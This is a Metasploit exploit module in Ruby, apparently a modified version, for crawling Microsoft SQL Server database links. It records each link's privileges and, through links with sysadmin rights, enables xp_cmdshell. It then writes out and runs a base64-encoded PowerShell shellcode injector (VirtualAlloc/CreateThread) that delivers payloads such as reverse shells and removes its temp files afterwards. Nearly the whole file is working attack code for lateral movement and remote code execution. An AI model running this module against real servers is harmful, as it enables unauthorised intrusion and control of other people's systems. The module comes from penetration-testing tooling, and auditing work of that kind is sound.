mssql_linkcrawler-updates2.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'
require 'msf/core/exploit/mssql_commands'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::MSSQL
  include Msf::Auxiliary::Report
  #include Msf::Exploit::CmdStagerVBS

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft SQL Server Database Link Crawling Command Execution',
      'Description'    => %q{
          This module can be used to crawl MS SQL Server database links and deploy
        Metasploit payloads through links configured with sysadmin privileges using a
        valid SQL Server Login.

          If you are attempting to obtain multiple reverse shells using this module we
        recommend setting the "DisablePayloadHandler" advanced option to "true", and setting
        up a multi/handler to run in the background as a job with the "ExitOnSession" advanced
        set to "false" to support multiple incoming shells.

          If you are interested in deploying payloads to spefic servers this module also
        supports that functionality via the "DEPLOYLIST" option.

          Currently, the module is capable of delivering payloads to both 32bit and 64bit
        Windows systems via powershell memory injection methods based on Matthew Graeber's
        work. As a result, the target server must have powershell installed. By default,
        all of the crawl information is saved to a CSV formatted log file and MSF loot so
        that the tool can also be used for auditing without deploying payloads.
      },
      'Author'         =>
        [
          'Antti Rantasaari <antti.rantasaari[at]netspi.com>',
          'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'
        ],
      'Platform'      => [ 'win' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012'],
          ['URL','http://msdn.microsoft.com/en-us/library/ms188279.aspx'],
          ['URL','http://www.exploit-monday.com/2011_10_16_archive.html']
        ],
      'Platform'       => 'win',
      'DisclosureDate' => 'Jan 1 2000',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptBool.new('DEPLOY',       [false, 'Deploy payload via the sysadmin links', 'false']),
        OptString.new('DEPLOYLIST', [false,'Comma seperated list of systems to deploy to']),
        OptString.new('PASSWORD',   [true, 'The password for the specified username'])
      ], self.class)
  end

  def exploit
    # Display start time
    time1 = Time.new
    print_status("-------------------------------------------------")
    print_status("Start time : #{time1.inspect}")
    print_status("-------------------------------------------------")

    # Check if credentials are correct
    print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...")

    if (not mssql_login_datastore)
      print_error("Invalid SQL Server credentials")
      print_status("-------------------------------------------------")
      return
    end

    # Define master array to keep track of enumerated database information
    master_list = []
    master_list[0] = {}         # Define new hash
    master_list[0]["name"] = ""     # Name of the current database server
    master_list[0]["db_link"] = ""    # Name of the linked database server
    master_list[0]["db_user"] = ""    # User configured on the database server link
    master_list[0]["db_sysadmin"] = ""  # Specifies if  the database user configured for the link has sysadmin privileges
    master_list[0]["db_version"] = "" # Database version of the linked database server
    master_list[0]["db_os"] = ""      # OS of the linked database server
    master_list[0]["path"] = [[]]   # Link path used during crawl - all possible link paths stored
    master_list[0]["done"] = "false"    # Used to determine if linked need to be crawled

    shelled = Array.new         # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system

    # Setup query for gathering information from database servers
    version_query = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE\
    (ltrim((select REPLACE((Left(@@Version,CHARINDEX('-',@@version)-1)),'Microsoft','')+ rtrim(CONVERT\
    (char(30), SERVERPROPERTY('Edition'))) +' '+ RTRIM(CONVERT(char(20), SERVERPROPERTY('ProductLevel')))+\
    CHAR(10))), CHAR(10), ''), CHAR(13), ''), CHAR(9), '')) as version, RIGHT(@@version, LEN(@@version)- 3 \
    -charindex (' ON ',@@VERSION)) as osver,is_srvrolemember('sysadmin'),(select count(srvname) from \
    master..sysservers where dataaccess=1 and srvname!=@@servername and providername like 'SQLOLEDB')as linkcount"

    # Create loot table to store configuration information from crawled database server links
    linked_server_table = Rex::Ui::Text::Table.new(
      'Header'  => 'Linked Server Table',
      'Ident'   => 1,
      'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user',
      'link_privilege', 'link_version', 'link_os','link_state','link_crawl_path']
    )
    save_loot = "false"

    # Start crawling through linked database servers
    while master_list.any? {|f| f["done"] == "false"}

      # Find the first DB server that has not been crawled (not marked as done)
      server = master_list.detect {|f| f["done"] == "false"}

      # Get configuration information from the database server
      sql = query_builder(server["path"].first,"",0,version_query)
      result = mssql_query(sql, false) if mssql_login_datastore
      parse_results = result[:rows]
      parse_results.each { |s|
        if (server["name"] == "" or server["name"] == nil)
          server["name"] = s[0]
        end
        server["db_user"] = s[1]
        server["db_sysadmin"] = s[5]
        server["db_version"] =  s[3]
        server["db_os"] = s[4]
        server["numlinks"] = s[6]
      }
      if master_list.length == 1
        print_good("Successfully connected to #{server["name"]}")
        if datastore['VERBOSE'] == true
          show_configs(server["name"],parse_results,true)
        elsif server["db_sysadmin"] == 1
          print_good("Sysadmin on #{server["name"]}")
        end
      end

      # Deploy shell
      if !shelled.include?(name) #and server["name"] == master_list[0]["name"]
        if server["db_sysadmin"] == 1  and datastore['deploy'] and (!(server["db_version"].match(/SQL\s*Server\s*2000/i)))
          enable_xp_cmdshell(server["path"].first,server["name"],shelled)
        end
      end

      # If links were found, determine if they can be connected to and add to crawl list
      if (server["numlinks"] > 0)

        # Enable loot
        save_loot = "TRUE"

        # Select a list of the linked database servers that exist on the current database server
        print_status("")
        print_status("-------------------------------------------------")
        print_status("Crawling links on #{server["name"]}...")

        # Display number db server links
        print_status("Links found: #{server["numlinks"]}")
        print_status("-------------------------------------------------")
        execute = "select srvname from master..sysservers where dataaccess=1 and srvname!=@@servername and providername like 'SQLOLEDB'"
        sql = query_builder(server["path"].first,"",0,execute)
        result = mssql_query(sql, false) if mssql_login_datastore

        result[:rows].each {|name|
          name.each {|name|

            # Check if link works and if sysadmin permissions - temp array to save orig server[path]
            temppath = Array.new
            temppath = server["path"].first.dup
            temppath << name

            # Get configuration information from the linked server
            sql = query_builder(temppath,"",0,version_query)
            result = mssql_query(sql, false) if mssql_login_datastore

            # Add newly acquired db servers to the master_list, but don't add them if the link is broken or already exists
            if result[:errors].empty? and result[:rows] != nil then

              # Assign db query results to variables for hash
              parse_results = result[:rows]

              # Add link server information to loot
              link_status = 'up'
              report_link_path = "#{master_list.first["name"]} -> #{temppath.join(" -> ")}"
              write_to_report(name,server,parse_results,linked_server_table,link_status,report_link_path)

              # Display link server information in verbose mode
              if datastore['VERBOSE'] == true
                show_configs(name,parse_results)
                print_status("  o Link path: #{master_list.first["name"]} -> #{temppath.join(" -> ")}")
              else
                if parse_results[0][5] == 1
                  print_good("Link path: #{master_list.first["name"]} -> #{temppath.join(" -> ")} (Sysadmin!)")
                else
                  print_status("Link path: #{master_list.first["name"]} -> #{temppath.join(" -> ")}")
                end
              end

              # Add link to master_list hash
              if !master_list.any? {|f| f["name"].downcase == name.downcase} #previously unless

                # Action for new server
                master_list << add_host(name,server["path"].first,parse_results)
              else
                # Add Existing
                (0..master_list.length-1).each do |x|
                  if master_list[x]["name"].downcase == name.downcase

                    # Add addtional link crawl paths for known server
                    master_list[x]["path"] << server["path"].first.dup
                    master_list[x]["path"].last << name

                    # Deploy shell to box if not shelled
                    if !shelled.include?(name) #previously unless
                      if parse_results[0][2]==1 and datastore['deploy'] and (!(master_list[x]["db_version"].match(/SQL\s*Server\s*2000/i)))
                        enable_xp_cmdshell(master_list[x]["path"].last.dup,name,shelled)
                      end
                    end
                  #else
                  # break
                  end
                end
              end
            else
              # Add to report
              link_status = 'Connection Failed'
              report_link_path = "#{master_list.first["name"]} -> #{temppath.join(" -> ")}"
              write_to_report(name,server,parse_results,linked_server_table,link_status,report_link_path)

              # Display status to user
              if datastore['VERBOSE'] == true
                print_status(" ")
                print_error("Linked Server: #{name} ")
                print_error("  o Link Path: #{master_list.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
                print_status("    Failure could be due to:")
                print_status("    - A dead server")
                print_status("    - Bad credentials")
                print_status("    - Nested open queries through SQL 2000")
              else
                print_error("Link Path: #{master_list.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
              end
            end
          }
        }
      end

      # Set server to "crawled"
      server["done"]="TRUE"
    end

    print_status(" ")
    print_status("-------------------------------------------------")

    # Setup table for loot
    this_service = nil
    if framework.db and framework.db.active
      this_service = report_service(
        :host  => rhost,
        :port => rport,
        :name => 'mssql',
        :proto => 'tcp'
      )
    end

    # Display end time
    time1 = Time.new
    print_status("End time : #{time1.inspect}")
    print_status("-------------------------------------------------")

    link_has_sysadmin = 0
    link_has_only_user = 0
    master_list.each {|blah|

        if blah["db_sysadmin"] == 1 then
          #print_status("Sysadmin on #{blah["name"]}")
          link_has_sysadmin = link_has_sysadmin+1
        end

        if blah["db_sysadmin"] == 0 then
          #print_status("User on #{blah["name"]}")
          link_has_only_user = link_has_only_user+1
        end
    }
    print_status(" ")
    print_status("-------------------------------------------------")
    print_status("Crawl Summary")
    print_status("-------------------------------------------------")
    print_status("#{master_list.length} SQL Servers found")
    print_status("#{link_has_sysadmin} with Sysadmin privs")
    print_status("#{link_has_only_user} with user privs")
    print_status("-------------------------------------------------")

    # Write log to loot / file
    if (save_loot=="TRUE")
      filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_linked_servers.csv"
      path = store_loot("crawled_links", "text/plain", datastore['RHOST'], linked_server_table.to_csv, filename, "Linked servers",this_service)
      print_status("Results have been saved to: #{path}")
    end
  end

  # ---------------------------------------------------------------------
  # Method that builds nested openquery statements using during crawling
  # ---------------------------------------------------------------------
  def query_builder(path,sql,ticks,execute)

    # Temp used to maintain the original master_list[x]["path"]
    temp = Array.new
    path.each {|i| temp << i}

    # Actual query - defined when the function originally called - ticks multiplied
    if path.length == 0
      return execute.gsub("'","'"*2**ticks)

    # openquery generator
    else
      sql = "select * from openquery(\"" + temp.shift + "\"," + "'"*2**ticks + query_builder(temp,sql,ticks+1,execute) + "'"*2**ticks + ")"
      return sql
    end
  end

  # ---------------------------------------------------------------------
  # Method that builds nested openquery statements using during crawling
  # ---------------------------------------------------------------------
  def query_builder_rpc(path,sql,ticks,execute)

    # Temp used to maintain the original master_list[x]["path"]
    temp = Array.new
    path.each {|i| temp << i}

    # Actual query - defined when the function originally called - ticks multiplied
    if path.length == 0
      return execute.gsub("'","'"*2**ticks)

    # Openquery generator
    else
      exec_at = temp.shift
      sql = "exec(" + "'"*2**ticks + query_builder_rpc(temp,sql,ticks+1,execute) + "'"*2**ticks +") at [" + exec_at + "]"
      return sql
    end
  end

  # ---------------------------------------------------------------------
  # Method for adding new linked database servers to the crawl list
  # ---------------------------------------------------------------------
  def add_host(name,path,parse_results)

    # Used to add new servers to master_list
    server = Hash.new
    server["name"] = name
    temppath = Array.new
    path.each {|i| temppath << i }
    server["path"] = [temppath]
    server["path"].first << name
    server["done"] = "false"
    parse_results.each {|stuff|
      server["db_user"] = stuff.at(1)
      server["db_sysadmin"] = stuff.at(2)
      server["db_version"] =  stuff.at(3)
      server["db_os"] = stuff.at(4)
      server["numlinks"] = stuff.at(6)
    }
    return server
  end

  # ---------------------------------------------------------------------
  # Method to display configuration information
  # ---------------------------------------------------------------------
  def show_configs(i,parse_results,entry=false)

    print_status(" ")
    parse_results.each {|stuff|

      # Translate syadmin code
      status = stuff.at(5)
      if status == 1 then
        dbpriv = "sysadmin"
      else
        dbpriv = "user"
      end

      # Display database link information
      if entry == false
        print_status("Linked Server: #{i}")
        print_status("  o Link user: #{stuff.at(1)}")
        print_status("  o Link privs: #{dbpriv}")
        print_status("  o Link version: #{stuff.at(3)}")
        print_status("  o Link OS: #{stuff.at(4).strip}")
        print_status("  o Links on server: #{stuff.at(6)}")
      else
        print_status("Server: #{i}")
        print_status("  o Server user: #{stuff.at(1)}")
        print_status("  o Server privs: #{dbpriv}")
        print_status("  o Server version: #{stuff.at(3)}")
        print_status("  o Server OS: #{stuff.at(4).strip}")
        print_status("  o Server on server: #{stuff.at(6)}")
      end
    }
  end

  # ---------------------------------------------------------------------
  # Method for generating the report and loot
  # ---------------------------------------------------------------------
  def write_to_report(i,server,parse_results,linked_server_table,link_status,report_link_path)
    parse_results.each {|stuff|
      # Parse server information
      db_link_user = stuff.at(1)
      db_link_sysadmin = stuff.at(2)
      db_link_version =  stuff.at(3)
      db_link_os = stuff.at(4)

      #Fix connection failed data
      if link_status == "Connection Failed" then
        db_link_user = "NA"
        db_link_sysadmin = "NA"
        db_link_version =  "NA"
        db_link_os = "NA"
        report_priv = "NA"
      end

      # Set privilege level language for user
      if db_link_sysadmin == 0 then
        report_priv = "USER"
      end

      # Set privilege level language for sysadmin
      if db_link_sysadmin == 1 then
        report_priv = "SYSADMIN!"
      end

      # Add link server to the reporting array and set link_status to 'up'
      linked_server_table << [server["name"],server["db_version"],server["db_os"],
      i,db_link_user,report_priv,db_link_version,db_link_os,link_status,report_link_path]

      return linked_server_table
    }
  end

  # ---------------------------------------------------------------------
  # Method for enabling xp_cmdshell
  # ---------------------------------------------------------------------
  def enable_xp_cmdshell(path,name,shelled)
    # Enables "show advanced options" and xp_cmdshell if needed and possible
    # They cannot be enabled in user transactions (i.e. via openquery)
    # Only enabled if RPC_Out is enabled for linked server
    # All changes are reverted after payload delivery and execution

    # Check if "show advanced options" is enabled
    execute = "select cast(value_in_use as int) FROM  sys.configurations WHERE  name = 'show advanced options'"
    sql = query_builder(path,"",0,execute)
    result = mssql_query(sql, false) if mssql_login_datastore
    sao_orig = result[:rows].pop.pop

    # Check if "xp_cmdshell" is enabled
    execute = "select cast(value_in_use as int) FROM  sys.configurations WHERE  name = 'xp_cmdshell'"
    sql = query_builder(path,"",0,execute)
    result = mssql_query(sql, false) if mssql_login_datastore
    xp_cmd_orig = result[:rows].pop.pop

    # Try blindly to enable "xp_cmdshell" on the linked server
    # Note:
    # This only works if rpcout is enabled for all links in the link path.
    # If that is not the case it fails cleanly.
    if xp_cmd_orig == 0
      if sao_orig == 0
        # Enabling show advanced options and xp_cmdshell
        execute = "sp_configure 'show advanced options',1;reconfigure"
        sql = query_builder_rpc(path,"",0,execute)
        result = mssql_query(sql, false) if mssql_login_datastore
      end

      # Enabling xp_cmdshell
      print_status("\t - xp_cmdshell is not enabled on " + name + "... Trying to enable")
      execute = "sp_configure 'xp_cmdshell',1;reconfigure"
      sql = query_builder_rpc(path,"",0,execute)
      result = mssql_query(sql, false) if mssql_login_datastore
    end

    # Verifying that xp_cmdshell is now enabled (could be unsuccessful due to server policies, total removal etc.)
    execute = "select cast(value_in_use as int) FROM  sys.configurations WHERE  name = 'xp_cmdshell'"
    sql = query_builder(path,"",0,execute)
    result = mssql_query(sql, false) if mssql_login_datastore
    xp_cmd_shell_now = result[:rows].pop.pop

    if xp_cmd_shell_now == 1 or xp_cmd_orig == 1
      print_status("\t - Enabled xp_cmdshell on " + name) if xp_cmd_orig == 0
      if datastore['DEPLOY']
        print_status("Ready to deploy a payload to #{name}")
        if datastore['DEPLOYLIST']==""
          datastore['DEPLOYLIST'] = nil
        end
        if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
          print_status("\t - Checking if #{name} is on the deploy list...")
        end
        if datastore['DEPLOYLIST'] != nil
          deploylist = datastore['DEPLOYLIST'].upcase.split(',')
        end
        if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase
          if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
            print_status("\t - #{name} is on the deploy list.")
          end
          unless shelled.include?(name)
            powershell_upload_exec(path)
            shelled << name
          else
            print_status("Payload already deployed on #{name}")
          end
        elsif datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
          print_status("\t - #{name} is not on the deploy list")
        end
      end
    else
      print_error("\t - Unable to enable xp_cmdshell on " + name)
    end

    # Revert soa and xp_cmdshell to original state
    if xp_cmd_orig == 0 and xp_cmd_shell_now == 1
      print_status("\t - Disabling xp_cmdshell on " + name)
      execute = "sp_configure 'xp_cmdshell',0;reconfigure"
      sql = query_builder_rpc(path,"",0,execute)
      result = mssql_query(sql, false) if mssql_login_datastore
    end
    if sao_orig == 0 and xp_cmd_shell_now == 1
      execute = "sp_configure 'show advanced options',0;reconfigure"
      sql = query_builder_rpc(path,"",0,execute)
      result = mssql_query(sql, false) if mssql_login_datastore
    end
  end

  # ----------------------------------------------------------------------
  # Method that delivers shellcode payload via powershell thread injection
  # ----------------------------------------------------------------------
  def powershell_upload_exec(path)

    # Create powershell script that will inject shell code from the selected payload
    myscript ="$code = @\"
[DllImport(\"kernel32.dll\")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport(\"kernel32.dll\")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport(\"msvcrt.dll\")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
\"@
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
$size = 0x1000
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
$winFunc::CreateThread(0,0,$x,0,0,0)"

    # Unicode encode powershell script
    mytext_uni = Rex::Text.to_unicode(myscript)

    # Base64 encode unicode
    mytext_64 = Rex::Text.encode_base64(mytext_uni)

    # Generate random file names
    rand_filename = rand_text_alpha(8)
    var_duplicates = rand_text_alpha(8)

    # Write base64 encoded powershell payload to temp file
    # This is written 2500 characters at a time due to xp_cmdshell ruby function limitations
    # Also, line number tracking was added so that duplication lines caused by nested linked
    # queries could be found and removed.
    print_status("Deploying payload...")
    linenum = 0
    mytext_64.scan(/.{1,2500}/).each {|part|
      execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'"
      sql = query_builder(path,"",0,execute)
      result = mssql_query(sql, false) if mssql_login_datastore
      linenum = linenum+1
    }

    # Remove duplicate lines from temp file and write to new file
    execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'"
    sql = query_builder(path,"",0,execute)
    result = mssql_query(sql, false) if mssql_login_datastore

    # Remove tracking tags from lines
    execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'"
    sql = query_builder(path,"",0,execute)
    result = mssql_query(sql, false) if mssql_login_datastore

    # Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors
    # If running on 64bit system, 32bit powershell called from syswow64
    powershell_cmd =  "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like '*64*'){$psbits=\"C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe -noexit -noprofile -encodedCommand $dacode\"};iex $psbits"
    powershell_uni = Rex::Text.to_unicode(powershell_cmd)
    powershell_64 = Rex::Text.encode_base64(powershell_uni)

    # Setup query
    execute = "select 1; EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_64}'"
    sql = query_builder(path,"",0,execute)

    # Execute the payload
    print_status("Executing payload...")
    result = mssql_query(sql, false) if mssql_login_datastore

    # Remove payload data from the target server
    execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'"
    sql = query_builder(path,"",0,execute)
    result = mssql_query(sql,false)
  end
end